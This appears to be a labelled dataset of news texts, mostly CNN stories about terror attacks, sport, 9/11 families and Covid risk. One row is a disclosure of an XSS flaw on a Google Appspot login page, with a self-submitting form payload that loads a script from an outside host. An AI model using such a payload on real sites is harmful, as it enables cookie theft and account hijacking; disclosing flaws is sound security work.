Also of note is the discovery of a new malware named "CSPY Downloader" that's designed to thwart analysis and download additional payloads.
Lastly, Cybereason researchers unearthed a new toolset infrastructure registered between 2019-2020 that overlaps with the group's BabyShark malware used to previously target US-based think tanks.
"The threat actors invested efforts in order to remain under the radar, by employing various anti-forensics and anti-analysis techniques which included backdating the creation/compilation time of the malware samples to 2016, code obfuscation, anti-VM and anti-debugging techniques," the researchers said.
"While the identity of the victims of this campaign remains unclear, there are clues that can suggest that the infrastructure targeted organizations dealing with human rights violations."
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This story has been updated to reflect the latest number of fatalities from London Metropolitan Police.London (CNN)Four people were killed and scores injured when an attacker plowed a car through crowds in central London before attempting to storm the Houses of Parliament in what police believe was an act of Islamist-inspired terrorism.Police indicated they knew the identity of the assailant, who fatally stabbed unarmed police officer Keith Palmer, a 15-year-veteran, on the grounds of Parliament after ramming a car onto the crowded sidewalks nearby. Armed officers shot the attacker dead.It was the first mass-casualty terrorist attack in Britain since 2005 when 52 people and four attackers died in the July 7 bomb attacks on the London public transportation system. The use of a vehicle as a weapon of terror echoed the methods used in the past year by attackers in Nice and Berlin.Police officer Keith PalmerThe London assault, which came on the one-year anniversary of the ISIS bomb attacks in Brussels, brought carnage to Westminster, the heart of political life in Britain.London attack part of disturbing trendRead MorePrime Minister Theresa May described the attack as "sick and depraved." She said attempts to defeat through violence the values Parliament represents would be "doomed to failure.""The location of this attack was no accident. The terrorist chose to strike at the heart of our capital city, where people of all nationalities, religions and cultures come together to celebrate the values of liberty, democracy and freedom of speech," she said.JUST WATCHEDThe moment the UK Parliament stoppedReplayMore Videos ...MUST WATCHThe moment the UK Parliament stopped 00:32Parliament was placed on lockdown for several hours and lawmakers were forced to remain in the main debating chamber of the House of Commons as officers rushed to the scene outside.Pictures showed scenes of carnage in the aftermath of the attack, which happened as Parliament was in session. One member of the British government gave mouth-to-mouth resuscitation to the officer who died from stab wounds.'Islamist-related'Mark Rowley, Britain's most senior counterterror police officer, told reporters late Wednesday that authorities believe they know the attacker's identity but are not releasing it, and are operating on the assumption the incident was "Islamist-related terrorism.""This is a day that we had planned for -- that we all hoped would never happen -- but sadly it is now a reality," said Rowley, acting deputy commissioner of the Metropolitan Police.He said Palmer, 48, was a father and a husband.Rowley said 40 people were hurt. Incident began near Westminster BridgeThe area around Westminster was teeming with people when the attack began at about 2:40 p.m. Witnesses said the attacker drove his car over Westminster Bridge and into the crowds. The vehicle hit a large number of people, including three police officers."The car then crashed near to Parliament and at least one man -- armed with a knife -- continued the attack, trying to enter Parliament," said Rowley. One of those who died was a woman, he said. Photos: Deadly attack outside UK ParliamentA car is seen crashed into a fence outside the Parliament building in London on Wednesday, March 22. Police have launched a "full counter-terrorism investigation" after an attacker rammed a car into crowds of people and stabbed a police officer on Parliament grounds.Hide Caption 1 of 15 Photos: Deadly attack outside UK ParliamentAn armed police officer stands over the attacker, identified as Khalid Masood, outside Parliament. "It appeared that a car was coming towards the House of Commons mowing down pedestrians on the way," Member of Parliament Gerald Howarth told CNN. "The driver then got access to the parliamentary estate, stabbed a police officer and was shot."Hide Caption 2 of 15 Photos: Deadly attack outside UK ParliamentMasood is treated by emergency services as police look on at the scene outside the Houses of Parliament. The Metropolitan Police say he was born in Kent, but is believed to have been living in the West Midlands recently. Police say Masood was also known by a number of aliases. "Masood was not the subject of any current investigations and there was no prior intelligence about his intent to mount a terrorist attack," Met Police said in a statement.Hide Caption 3 of 15 Photos: Deadly attack outside UK ParliamentMember of Parliament Tobias Ellwood, in the glasses, tends to one of the injured people amid the chaos. The man the politician was trying to save was a police officer who died, a witness on the scene told CNN. Authorities identified the deceased officer as Keith Palmer, 48.Hide Caption 4 of 15 Photos: Deadly attack outside UK ParliamentEmergency workers attend to injured people at the scene.Hide Caption 5 of 15 Photos: Deadly attack outside UK ParliamentMedics treat a victim on Westminster Bridge.Hide Caption 6 of 15 Photos: Deadly attack outside UK ParliamentPeople leave the Parliament building after the incident. Lawmakers were forced to remain in the main debating chamber of the House of Commons as police responded to the incident outside.Hide Caption 7 of 15 Photos: Deadly attack outside UK ParliamentA person is treated at the scene.Hide Caption 8 of 15 Photos: Deadly attack outside UK ParliamentMedical aid is provided outside Parliament.Hide Caption 9 of 15 Photos: Deadly attack outside UK ParliamentTourists were trapped for a time in cars on the London Eye Ferris wheel, which was stopped in the immediate aftermath of the attack.Hide Caption 10 of 15 Photos: Deadly attack outside UK ParliamentA police officer stands guard near Westminster Bridge and the Houses of Parliament.Hide Caption 11 of 15 Photos: Deadly attack outside UK ParliamentA person receives medical treatment at the scene.Hide Caption 12 of 15 Photos: Deadly attack outside UK ParliamentAt right, the car of British Prime Minister Theresa May is driven away from Parliament.Hide Caption 13 of 15 Photos: Deadly attack outside UK ParliamentAn air ambulance arrives at the scene.Hide Caption 14 of 15 Photos: Deadly attack outside UK ParliamentArmed police enter the Houses of Parliament.Hide Caption 15 of 15Proceedings in the House of Commons were suspended, with dozens of MPs locked inside.Police put the Westminster area on lockdown, securing roads, Parliament buildings and the Westminster underground station. The zone was soon expanded to a larger part of central London, including the London Eye Ferris wheel, which was halted for hours with people still on it. They have since been let off. JUST WATCHEDPeople trapped on London Eye following attackReplayMore Videos ...MUST WATCHPeople trapped on London Eye following attack 01:17The London Ambulance Service treated at least 10 patients on Westminster Bridge.In the chaos, a woman was pulled from the River Thames alive, but with serious injuries.London Mayor Sadiq Khan said: "My heart goes out to those who have lost loved ones and to everyone who has been affected," he said, paying tribute to the emergency services.He announced the deployment of additional armed officers on the streets of the British capital. "We stand together in the face of those who would seek to harm us and destroy our way of life," he added. "Londoners will never be cowed by terrorism."Police appealed for anyone with photos or video of the incident to contact them.Police close off the area near the Houses of Parliament in London.The Prime Minister called a meeting of COBRA, the UK's emergency Cabinet committee.US President Donald Trump spoke with May on the phone after learning of the attack, White House spokesman Sean Spicer said. Mark Toner, acting spokesman for the US State Department, said officials were closely following the situation."Our hearts go out to those affected. We stand ready to assist in any way the UK authorities would find helpful," he said.Eyewitnesses report chaotic scenes People were photographed running in a panic from the scene, while witnesses told CNN they saw the car plow through a crowd. Robyn Lyon, 34, from Rugby, said he was walking along Westminster Bridge.JUST WATCHEDCrashed car smokes outside ParliamentReplayMore Videos ...MUST WATCHCrashed car smokes outside Parliament 00:26"I saw a car, the crunch of car, hitting the curb. I kind of thought the guy had maybe had a heart attack or something," he said. "The accelerator suddenly picked up so you had that revving. I expected it to hit the bridge wall and then stop, and then turn back carry up the pavement. It hit several people. I jumped out the way into a road."I stood in shock and saw carnage around me and the car carrying on up the bridge."Another witness, Radek Sikorski, said he saw one of the victims bleeding heavily from the head and another lying unconscious. JUST WATCHEDParliament attack witness: 'It was horrendous'ReplayMore Videos ...MUST WATCHParliament attack witness: 'It was horrendous' 00:46Richard Poet, 62, who was visiting London from Brighton and his partner were leaving the Tate Britain gallery when he heard "great crashes.""I thought it was a wrecking ball. It didn't sound like guns or anything."Craig Meichan, 20, a student from Ormskirk near Liverpool, was on a field trip with around 15 others and had left Parliament just a moment before. He was shaking as he told CNN his party was separated into three groups."It sounded like a car backfiring, police began shouting and they started cordoning off the area," he said, adding that he believed his tutor was still locked inside. "I'm a bit shaken up, you never expect this to happen to you. When it does it's an indescribable feeling."Chaos in Parliament As the incident unfolded outside, the Leader of the House of Commons, David Lidington, told MPs a serious incident had taken place "within the estate." Proceedings were suspended.Lidington told MPs that it appeared a police officer has been stabbed and that the assailant had been shot.Emergency services at the scene of the attack. Conservative MP Damian Collins told CNN that he was walking through an underground tunnel from his office to vote in the chamber with about 30 other MPs when he heard shouting followed by gunshots. Police shouted for the MPs to get down on the ground."Clearly, something serious had happened but no one was being told what was going on," he said. "The instant response from the police was incredible -- they seemed on top of the situation straight away."JUST WATCHEDWitnesses describe 'horrendous' Parliament attackReplayMore Videos ...MUST WATCHWitnesses describe 'horrendous' Parliament attack 01:23Chris Doyle, Director of Council for Arab-British Understanding, who was at a restaurant at Parliament at the time, described a moment of sudden panic. "We were in the terrace restaurant when there was a series of panicked male shouts. Everyone started getting under tables. Under the sofa by me was a small child. Only after several minutes did people get up. It became clear it was the police," he said. "We still did not know what had happened, if there was a bomb, a gunman a fire. The police directed everyone -- MPs, Lords, cooks, waiters, visitors and schoolchildren -- to the central lobby.Members of parliament were locked in and asked to keep away from windows. Hundreds were later evacuated from the Parliament buildings after hours locked inside. Labour MP Barry Sheerman posted an image on Twitter showing lawmakers in the House in the evening with food and drink.Food & drink consumed in Chamber no end to lock down yet! pic.twitter.com/Vy9xrTEGHr— Barry Sheerman (@BarrySheerman) March 22, 2017
Member of Parliament gives assistanceFull coveragePolice name London attackerLondon unites against terrorA city stilled, shocked, enragedOpinion: Attack was long overdueAnalysis: Don't bet on lone wolf Challenge of low-tech terrorPolitician rushes to victim's aid A member of the government, Foreign Office Minister Tobias Ellwood, was pictured giving assistance to a victim in New Palace Yard, a courtyard within the grounds of Parliament.A fellow Conservative Party MP, Maria Miller said he had "given mouth-to-mouth resuscitation to one victim," the Press Association said. A witness told CNN that Ellwood was trying to save the police officer, who died. Eyewitness Hugh Dickinson, a 21-year-old student from High Wycombe, posted a picture of the minister on Twitter, showing the minister bleeding, but saying "he looked to be fine." Editor's note: This story has been updated to reflect the latest number of fatalities from London Metropolitan Police.CNN's Luke McGee, Laura Smith-Spark, James Masters, Schams Elwazer, Stephanie Halasz, Elizabeth Roberts, Steve Almasy, and Mark Oliver contributed to this report. | 0 |
(CNN)It all began at the Newport Casino Club on Rhode Island way back in 1881 and since 1978 the US Open has been held at Flushing Meadows. The last grand slam of the season has been contested on grass, clay as well as the current hard courts but only one player has won the title on all three surfaces. This year marks another milestone for the tournament as the Arthur Ashe Stadium gets a roof for the first time — making rain delays a thing of the past. Who will be victorious this year? Will Novak Djokovic win again or is Andy Murray set to complete a golden summer? Can Serena Williams finally surpass Steffi Graf and win her 23rd grand slam title? One thing's for sure, the German tennis legend is rooting for the American.Let us know your thoughts on the 2016 championship as it develops on our Facebook page | 0 |
Cross Site Scripting Vulnerability at Google Appspot
The Google Appspot "ClickDesk" login page is vulnerable to Cross Site Scripting attack. Cross Site scripting attack is a critical issue in web application. When an attacker gets a user's browser to execute his/her XSS code, the code will run within the security context (or zone) of the hosting web site. With this level of privilege, the code has the ability to read (keylogging), modify and transmit any sensitive data accessible by the browser. A Cross-site Scripted user could have his/her account hijacked (cookie theft), their browser redirected to another location, or possibly shown fraudulent content delivered by the web site they are visiting.
The vulnerability can easily be amplified by publicly available tools like Cross Site Scripting framework (XSSF), Cross Site Scripting harvest perl (XSS-Harvest) and so on.
Proof of concept:
The following proof-of concept sample will do a HTTP POST to trigger the XSS vulnerability from "XSS cheatsheet from ha.ckers.org" site. In real hacking situation, the injection source url will be hosted on some compromised web servers.
Copy the following code and save it as any .htm or html filename. Open it any browser to trigger it automatically.
*********
<script>
document.body.innerHTML += '<form id="a" action="https://contactuswidget.appspot.com/login.jsp?domain=lc" method="post">
<input type="hidden" name="command" value="login"><input type="hidden" id="username" name="username" value="<script src=http:\/\/ha.ckers.org\/xss.jpg><\/script>"><input type="hidden" id="password" name="password" value="aaaa"></form>
';
document.getElementById("a").submit();
</script>
*********
Submitted by "Andrew Chong", codename "Andrew Chong"
Related Post : Iframe Vulnerability in Google App Engine (Appspot)
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Story highlightsMark Webbber wins Monaco Grand Prix for Red Bull Australian is an unprecedented sixth different winner in six F1 races this seasonFernando Alonso takes over at top of title race after finishing third Michael Schumacher forced to retire to finish out of the points againMark Webber became an unprecedented sixth different winner in six races this season as he drove his Red Bull to victory at the prestigious Monaco Grand Prix Sunday.Webber made the most of starting from pole position to hold off Nico Rosberg in the Mercedes with Fernando Alonso taking third for Ferrari to take over at the top of the world title standings.Webber's Red Bull teammate and two-time defending champion Sebastian Vettel finished a fine fourth after starting ninth on the grid.Both Alonso and Vettel moved ahead of a disappointed Lewis Hamilton during their pit stops, leaving the McLaren driver in fifth spot. Felipe Massa was sixth in the second Ferrari.Briton Paul di Resta drove a fine race to finish seventh, just ahead of his Force India teammate German Nico Hulkenberg. Finn Kimi Raikkonen of Lotus and Brazilian Bruno Senna in his Williams completed the points scoring. It was the third straight Monaco win for Red Bull, who extended their lead in the constructors' standings over McLaren.Webber, who also won in 2010, was claiming his eighth Formula One career victory and he moved level with Vettel into joint second in the standings, three points adrift of Alonso."I feel incredible," Webber told the official post-race press conference. "It was a very interesting race, reasonably straightforward at the start, just managing the gap to Nico (Rosberg)."I'm really glad to have won here again, a great victory for me."It was another disappointing race day for seven-time champion Michael Schumacher, who had been the fastest in qualifying.A five-place grid penalty left the Mercedes driver starting from sixth and an early tangle with Romain Grosjean (Lotus), who was forced to retire, saw him slip back to eighth.A technical problem later hit Schumacher to leave him pointless again.The race was held against the backdrop of the constant threat of a rain shower, which could have seen a complete change in the finishing order.The rain eventually came with a vengeance after the finish, leaving Webber to breath a sigh of relief.Alonso was also a big winner on the day, with Ferrari making great strides after being off the pace earlier in the season."For me, the target was to try to finish in front of Sebastian and Lewis (Hamilton) as they are with us in the championship. If you go race by race, you aim to finish ahead of different drivers. "Now it is Mark (Webber). It will be interesting, as we are constantly developing the car and we are constantly surprised at every race."The seventh round of the championship takes place in Canada in two weeks time. | 0 |
Philadelphia (CNN)She faced her father's killers in a courtroom, and realized the al Qaeda militants held no power. He put Osama bin Laden's image on a punching bag and let loose.She has vivid memories of the years spent with an adoring father. His recollections of Dad are limited. She grew up in southern France and reaches out to him on September 11. He was raised in New Jersey and made sure she was safe after last year's Paris attacks.They're two strangers who've become friends over their unique and tragic bond: Each lost a father to terrorism. Anaële Abescat was 11 when her father, Jean-Claude Abescat, 42, was killed in front of her in a 2007 al Qaeda attack in Saudi Arabia. He was a schoolteacher who had taken a job at the French International School in Riyadh and moved his family there.Read More9/11 Town HallCNN's Brooke Baldwin interviewed 10 of the 9/11 children, now ages 14 to 29, in a televised Town Hall. They spoke about their loss, the last 15 years — and why the terrorists failed.Kyle Maddison was 4 when his dad, Simon Maddison, 40, was killed in the September 11 attacks on the United States. He was a software consultant for a division of Cantor Fitzgerald and worked in the north tower of the World Trade Center. Kyle and Anaële first met five years ago at Project Common Bond, an annual camp that brings together children who lost a parent on 9/11 with young people from other nations who've lost loved ones to terror. They arrived as struggling teens who had plunged to dark places. They were still trying to grasp the magnitude of their loss and asking the unanswerable question: "Why?"They were quiet and at first frightened to bare their hearts. But they found one another and bonded. They could speak about the tragedy they'd experienced. They could talk about other things. Or just remain silent together. Each knew the other understood.For Kyle, the camp quite literally saved his life. It brought him love at a time when he'd grown isolated and alone. Weeks before his first camp, the loss of his father grew too much, too unbearable. A decade hadn't eased his pain. He slipped a rope around his neck."I don't like talking about it," he says, "but if I do talk about it, I have the chance to get the message to someone else who is in that place -- to just keep going."Kyle shows Anaële the tattoo he designed in memory of his father, who died on 9/11. Anaële's story: 'I couldn't do it on my own'Anaële Abescat's mother was visiting her in Paris last November when a Friday night out turned deadly: ISIS shootings and bomb blasts in restaurants, a soccer stadium and the Bataclan concert hall killed 130 people.Anaële began reliving her own horror; she was thankful her mother was there.She couldn't stop watching the news. Images of victims and their families unearthed so many memories: how she felt the day her father died, the look of utter grief on her own mother's face nine years ago.She knew what the world's newest victims of terrorism would have to live through."I know what it feels like," she says. "This kind of thing brings you back."This picture of the Abescat family was taken days before Anaële's father was killed in Saudi Arabia.Back to the day in February 2007 when her family and some friends set out on an excursion in the Saudi desert near the city of Medina. They'd picked a shady spot on the side of the road for a picnic when suddenly men carrying Kalashnikovs encircled them and unleashed a hail of bullets. Anaële threw herself under a car. She still doesn't know how she, her mother and her brother Adrien survived. Her father was gone. She would never sit on his lap or hear him sing Stevie Wonder's "For Your Love" again. (She has it on her smartphone now and still cries when she listens to it). Suddenly, a scrapbook he made for her when she turned 10 became a most precious possession.She suffered through flashbacks. On many nights she could not stop crying and felt as though people were whispering: "There is something wrong with you." She found it difficult to accept her 17th birthday, the age her friend Romain was when he, too, died in the attack along with two other French nationals. "My mom has always been a support for us," Anaële says. "But then it was complicated because she raised two kids on her own. She had two roles, both Mom and Dad. We fought a lot. It was hard."When Anaële began college, everyone knew she was a victim. She didn't want to be treated like a helpless little bird. She did not want anyone's pity; she just wanted to be like everyone else. And when she did talk about her father, she could tell her friends did not know how to react. She found help through therapy. And she found this camp, which she credits with changing her life. "I couldn't do it on my own," she says.Recently, a dark cloud has sometimes returned to hover over her. Some of her depression was related to all the carnage around her: the Charlie Hebdo killings, the Paris and Brussels attacks and, most fresh, the deaths in Nice when a truck plowed through a crowd of people gathered for Bastille Day fireworks. A few days after the Nice tragedy, Anaële arrived at this year's camp in Philadelphia. And she saw Kyle again.That's the beauty of Project Common Bond. A year had gone by, and yet she and Kyle were back to where they left off. It's not that Kyle is Anaële's best friend. He could never take the place of her bestie or the girlfriends she likes to hang out with at outdoor cafes. The two don't talk on the phone often or text throughout the day. Maybe months pass without any contact. But even then, they know the other is there, if the need arises. Anaële finds that comforting, like a cozy blanket on a frigid night. Kyle designed a tattoo with a rose that symbolizes love and hurt and a clock tepresenting the time he had with his father.Kyle's story: 'I want to keep going for him'The tattoo on Kyle's upper right arm has two roses with a clock in between. "Good times," it says. The clock is stopped at 3:28, signifying his father's birthday on March 28.Kyle designed the tattoo himself and had it inked onto his arm three days before college began last year at the University of Hartford. "The roses symbolize love and hurt," he says. "The clock represents the limited time that I had with my father and the limited good times that I had with him -- and to always remember that there will be good times ahead."When he wants to feel closer to his father, Kyle looks at a photograph of himself with his dad and his grandfather. Other times, he slips on headphones and listens to his dad's punk rock cassette tapes. His favorite contains the Descendents on one side and The Offspring on the other."Listening to it makes you feel just a little bit closer."An artist, Kyle hopes to become a sculptor one day. He also plays with writing. A constant theme of his work, he says, is "the idea that the good die young, but the great live on forever in our hearts and we carry them with us everywhere we go."What do you do when you're so young and you lose your hero? When your dad leaves for work one day and never returns?Those were the issues a young Kyle faced. His mother, Maureen Maddison, made sure her three children got therapy. His older sister, Caileigh, was 7 on 9/11; his younger sister, Sydney, was 1.Kyle was only 4 when his father was killed. The magnitude of Kyle's loss became clear as he grew older."My mom really tried," he says. "It was basically like any other kid's life -- but I didn't have a father."There were strange moments. When he'd walk down the street, he'd find little hearts everywhere. In cracks in the street. Randomly, lying around. He wondered: Was it a sign from his father?Once when his mother struggled, the young boy looked up at the nighttime sky. One star shone brighter than all the others. "It's like Daddy's shining straight through to my heart," he told her. The magnitude of his loss became clear as he grew older. Depression took hold his freshman year of high school. He didn't want to eat or go out."I didn't want to do anything," he says.He survived his suicide attempt and received counseling. He has managed to keep his depression in check. His advice to others struggling with suicidal thoughts is this: "You'll learn to deal with it and you'll learn to cope, and you just have to hold on and eventually you'll be OK."One fact kept him motivated: Kyle is the only boy in his family and the only one left to carry on the Maddison name. He realized ending his life would tarnish his father's legacy. "I want to keep going for him," he says. "When I was in such a dark place, I was like, 'Alright, I can't let this end here. I have to keep going.'" Anaële and Kyle met five years ago when they first arrived at a camp for the children who have lost parents or loved ones to terrorism. They became close friends.'Finding a different meaning' In the quiet of a college dorm room during their week at camp, Anaële and Kyle reflect on their lives -- and their friendship.Anaële recalls when she and her family traveled back to Saudi Arabia for the first time since her father's death. In January 2014, they were in court to hear the verdict for two of the al Qaeda gunmen. Anaële couldn't anticipate how she would feel if or when her eyes met those of her father's killers. Anger? Hatred?At first, she was frightened. But then she realized that mostly she felt unimpressed. She felt distant from these men, as though they were not even from the same species. But she could not embrace the idea of putting them to death for what they did. What if they had children? Coming of Age in the Age of TerrorWhat can the 9/11 children teach us?More than 3,000 children lost a parent on that awful day. Fifteen years later, in a world rocked by terror, this group has hard-won wisdom to share. Here, in their own words, is a glimpse into their journeys.The Palombo 10First they lost their dad on 9/11. They were ages 11 months to 15. Then they lost their mom. Meet the Palombos: Anthony, Frank Jr., Joe, Maria, Tommy, John, Patrick, Daniel, Stephen and Maggie -- a family that's the epitome of true grit.A place to belongIt's a summer camp with a distinction: Participants are young people touched by terror. This year, 55 of them -- from a dozen countries -- gathered on a campus in Pennsylvania, where they found renewal and hope in their common bond."Killing those men would do the same thing to their children as they did to me," she says. "I've been through this pain. I would not wish it upon anyone."Kyle recognizes his friend's inner strength. "Her being against the death penalty for those who killed her father, I guess, it really represents what (this camp) is about -- bad things happen to us, but it doesn't mean bad things need to happen to others," he says. "It's about finding a different meaning. It's about finding a peaceful way to accomplish your goals."Kyle, of course, will never be able to face his father's killers. They died carrying out the murders. But when he was 12, he pinned a photo of Osama bin Laden on a punching bag."I kind of had to figure out a way to deal with my anger, because I couldn't be angry at my sisters. It wasn't their fault. I couldn't be angry at my mom. It wasn't her fault."Instead, he beat up the photo of the man who launched al Qaeda."Didn't last long, tore it up pretty fast," he says.When bin Laden was killed on May 2, 2011, Kyle thought, "Yes, finally. I'm glad that he can't do it anymore."Still, the next day was no different than any other. He had to get through it without his father. Every September 11, Anaële reaches out to the American friends she met at this camp."The 11th of September is now a difficult day for me," she says. "I think of all my friends and I feel so much for them. I try to send my love and my support, because I know the feeling."Despite the recent spate of attacks at home in France, Anaële says she is determined not to let fear take control of her life. "It's what they want to do -- instill fear," she says. "It's their way of controlling a population. I don't want these people to forbid me from doing anything. I don't want them to win."So she will return to the Bataclan for a concert or to Belle Equipe for a candlelight alfresco dinner. "I'm actually very sad when I see people who are afraid, who keep their kids inside, who don't travel," she says. "No. We have to keep on living the way we want."Kyle and Anaële help each other through an exercise deigned to build trust and overcome fears.Together, 'we can do this'Kyle and Anaële climb ladders up to a tightrope that spans tall white oaks in the Pennsylvania wilderness. It's part of a camp exercise designed to build trust and confidence, to help overcome fears. They get on separate lines and inch their way toward one another. Above, gray skies peek through thick branches. Below, the earth seems a mile away. Kyle doesn't like heights.About this seriesCNN worked with Tuesday's Children, an organization formed after the 9/11 terrorists attacks, to interview young people who lost a parent on that awful day. Reporters also attended a summer camp sponsored by the group's Project Common Bond in which 9/11 youths were joined by peers from around the world who've also lost a family member to terrorism, war or extreme acts of violence. How to helpCongress has designated September 11 as an annual National Day of Service. See various ways you can volunteer or contribute."Don't look down," Anaële tells him. "Stay with me."The wires come to a point, and the two arrive face to face. They lock onto one another's wrists. They must walk the remainder of the line together. "We can do this," she says."I wouldn't do this with anyone else," he tells her. They teeter on the wire, their bodies swaying as they focus on keeping their balance. "Re-grab my wrist," he tells her. "I got you."Together, they feel strong. They gingerly approach their end point and finally make it to safety. Then they let go of each other and float on safety ropes in the sticky summer air, seemingly free of the burdens they've carried in their young lives. | 0 |
Story highlightsOzgecan Aslan, 20, allegedly fought a sexual assault before being killed Her body was covered in gasoline, burned and then dumped in a riverbedProtesters march in Istanbul and Ankara and express outrage on social media (CNN)Her body was left on a riverbed next to a cemetery, burned and abandoned, found just days after her family reported her missing.Now, a nation is protesting -- viewing her murder, according to one petition, as a symbol of the growing trend of violence against women in Turkey. The government is promising to punish her attackers and do more to protect others like her.Three suspects have been arrested in the murder of Ozgecan Aslan, 20, whose body was found Friday in Mersin's Tarsus district in southern Turkey, according to the country's semiofficial news agency Anadolu. She was reported missing Wednesday.Aslan allegedly fought a sexual assault before being killed by the driver of a bus she'd taken to go home, Anadolu reported.She was a first-year university student. Her body was covered in gasoline, burned and then dumped in a riverbed, police in Mersin said in a statement.Read MoreHer funeral was held Saturday in her hometown, the same day protesters marched in Istanbul and Ankara."You will never walk alone," Anadolu reported they shouted. "We will put an end to female homicides."The demonstrators carried banners, and images of the glasses-clad, long-haired Aslan, chanting: "We are here today. We revolt and we will continue to revolt until this stops."Protesters have also taken to the Internet, and their cries have been heard at the highest levels of government. The hashtag #OzgecanAslan renders thousands of tweets, updating hundreds every hour.On Monday, the country's president, Recep Tayyip Erdogan, used Twitter to tell the country: "To make sure the perpetrators who brutally slayed our daughter, Ozgecan, get the heaviest punishment that they deserve, I will personally pursue this lawsuit."An online petition calling for institutions to step up and take responsibility for attacks like the one on Aslan has so far gathered more than 600,000 signatures.According to Anadolu, the daughters of Turkish President Recep Tayyip Erdogan -- Sumeyye Erdogan and Esra Albayrak -- visited Aslan's family on Sunday."It is a very terrible situation," Sumeyye Erdogan reportedly said after the visit. "We've come here in order to be able to share their sorrow. Our actual aim is for those murderers to be punished in an effective way."CNN's Gul Tuysuz contributed to this report. | 0 |
Peggy Drexler is a research psychologist, documentary producer and the author of "Our Fathers, Ourselves: Daughters, Fathers, and the Changing American Family" and "Raising Boys Without Men." She is an executive producer, most recently, on "My Name is Pauli Murray," a film that premiered at Sundance, is now streaming on Amazon Prime Video. The opinions expressed in this commentary are hers. View more opinion on CNN. (CNN)Covid-19 has altered many people's holiday plans for the second year in a row. While it may seem easier -- far less confusing, at least -- to just call off New Year's and hibernate (again), with certain precautions it's still possible to ring in 2022 with (some) friends and family. The prospect of a new year ahead -- in combination with profound Covid fatigue and growing anxiety about rising cases -- sharpens our current reality, that at this point in the pandemic, we have information that is both reassuring and less-so. While the chance of getting Covid-19 is still very real, vaccination and boosting, coupled with additional protective behaviors like proper masking, can greatly reduce the risk of infection and severe illness. This raises a few key questions. How do people assess their own risk and how much risk they take on? And how to weigh this risk against the desire, and very real benefits, of returning to normal life? Nearly two years in (and for some, longer), few want to return to lockdown or miss out on spending important occasions with family and friends. Most, at least, see the pressing need to keep the economy going and address the social and psychological fallout from prolonged isolation. And many are resigned to the assumption that "we're all getting it at some point" anyway. While this may be likely, it's also true that what we know about Omicron is still changing. And it's important to remember that assessing risk isn't just about protecting oneself, but also about protecting others -- including unvaccinated or unboosted children, older populations and those with autoimmune diseases or other conditions that put them at higher risk.Certainly, it can be difficult to know what's safe, beyond canceling everything. Government guidance on masks, isolation periods and tests keep changing. What's considered "fully vaccinated" may soon change. Right now, "fully vaccinated" is defined by the US Centers for Disease Control and Prevention as having received two shots of either the Moderna or Pfizer-BioNTech vaccine or one of the Johnson & Johnson vaccine, but that definition is currently being debated as some health experts argue that the threshold for "fully vaccinated" should include a booster dose for those who are eligible.Which is why, like it or not, a certain level of personal risk assessment is necessary for all of us, for the foreseeable future. Guidelines are just that -- guidelines. Adhering to them doesn't guarantee protection, nor does it guarantee that others will adhere to them, too. It's important to consider your crowd and what you know of them (and are willing to ask of them) before making any decisions in the coming days and weeks. Read MoreWhy I cried when I found out I had CovidThose who have been boosted and who don't come into contact with at-risk populations may choose to consider only situations where others will be vaccinated, or, in cases of public gatherings, where others will be required to present proof of vaccination or a negative test result, to wear masks -- or some combination of the three.Those who have not been vaccinated or boosted should do so at the earliest opportunity. For them, as well as for those who come into regular contact with high-risk individuals, it's worth staying home, given the highly contagious nature of Omicron.Of course, preventing further spread requires not only personal risk assessment but also self-enforcement. Plenty of people will not follow guidelines, either at private gatherings or at venues that maintain loose rules or allow patrons to skirt them. Stricter government oversight is not likely to be the answer. In many instances, it is difficult or even impossible to enforce the rules, and typically those who are unvaccinated because of a rejection of government mandates seem more likely to disregard those rules. One risk, meanwhile, of imposing new, harsher restrictions -- such as testing requirements, or redefining "fully vaccinated" -- is that these restrictions could incite backlash (or, at least, some apathy) among Americans who have lost faith in public health information and are tiring of the ever-changing rules. The CDC's recent decision to cut the isolation timeline from 10 days down to five, if asymptomatic, followed by another five days of masking around others, has already inspired criticism and worry among many that the guidelines don't go far enough without a negative test confirmation. In an interview with CNN, Dr. Rochelle Walensky, the director of the CDC, said "some science has demonstrated less than a third of people are isolating when they need to." And so, as we enter the third year of the pandemic, it's increasingly up to every individual to assess their own risk. This may, at times, feel even more stressful than being told what to do -- by the government, health experts or anyone else -- especially when there's no real answer as to when this crisis will end.Four steps to prepare for the next pandemicBut that's precisely why determining what risks you're able and willing to take given the circumstances of your own life and those around you, is crucial. If any level of risk-taking starts to raise your anxiety, the benefits of going out or socializing may not be worth it. If it's difficult to see certain friends whose opinions differ, don't force it. Remember, too, that alcohol can often fuel confrontation or anxiety -- or that anxiety can lead to over-indulging. If you know this is you, perhaps sit this holiday out. In other words, know your limits. What's most important is knowing in advance where your convictions, and your priorities, lie. This may not help you feel less stressed out or exhausted by the endless decision making and uncertainty that defines these days, but it will help you feel more at peace with whatever decision you make -- even if others are not doing the same. It's true that, by now, we've all spent enough time in some state of isolation or semi-isolation. But the current surge won't last forever. Until then, the best practice may be trying your best to embrace uncertainty -- to, in the words of self-help author Eckhart Tolle, become "comfortable with not knowing." Looking for balance may be best for most of us -- to say no, perhaps, to indoor dining or a night out at a bar but yes to a walk outside with a friend. And know that you're doing your best to keep yourself safe but that, unfortunately, as in the rest of life, there are no guarantees. Community responsibility -- including compassion and care for others' well-being, even at one's own expense -- is something we can encourage but certainly not enforce. This New Year's and beyond, consider behaving in such a way that looks at the bigger picture -- not because the government or even individual businesses are forcing you to (or, conversely, not forcing you to) but, rather, because this pandemic has been difficult for us all. Millions around the world have died, and nearly all have struggled in some way. Get our free weekly newsletterSign up for CNN Opinion's newsletter.Join us on Twitter and FacebookDepending on who you are, where you live, the health care you have access to, and how healthy or well-off you are, you may not die or even get all that ill if you contract Covid. But someone else you come into contact with -- at your local grocery store, on your street, in your family -- might. The answer this weekend and going forward isn't in "making" people have empathy and compassion and community awareness. It's asking yourself to extend that compassion -- not just for others, but for yourself as well. | 0 |
